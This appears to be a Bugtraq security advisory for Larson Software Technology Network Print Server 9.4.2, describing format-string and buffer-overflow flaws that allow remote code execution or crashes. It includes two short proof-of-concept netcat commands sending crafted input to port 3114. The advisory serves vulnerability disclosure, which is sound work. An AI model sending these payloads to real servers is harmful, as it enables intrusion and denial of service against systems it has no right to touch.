Larson Software Technology Network Print Server Format String And Buffer Overflow Vulnerability

Bugtraq ID:	27732
Class:	Unknown
CVE:	CVE-2008-0764 CVE-2008-0763
Remote:	Yes
Local:	No
Published:	Feb 11 2008 12:00AM
Updated:	Jul 05 2016 09:38PM
Credit:	Luigi Auriemma is credited with the discovery of these vulnerabilities.
Vulnerable:	Larson Software Technology Network Print Server 9.4.2 build 105
Not Vulnerable:

Larson Software Technology Network Print Server Format String And Buffer Overflow Vulnerability

Larson Software Technology Network Print Server is prone to a format-string vulnerability and a buffer-overflow vulnerability.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

Network Print Server 9.4.2 build 105 and prior versions are affected.

Larson Software Technology Network Print Server Format String And Buffer Overflow Vulnerability

The following proof-of-concept commands are available:

echo USEP %n%n%n%s%s%s|nc SERVER 3114 -v -v

echo LICENSE aaaaa...160...aaaaa|nc SERVER 3114 -v -v

Larson Software Technology Network Print Server Format String And Buffer Overflow Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Larson Software Technology Network Print Server Format String And Buffer Overflow Vulnerability

References:

• Vendor Homepage (Larson Software Technology)
  
• Format string and buffer-overflow in Lst Network Print Server 9.4.2 build 105 (Luigi Auriemma )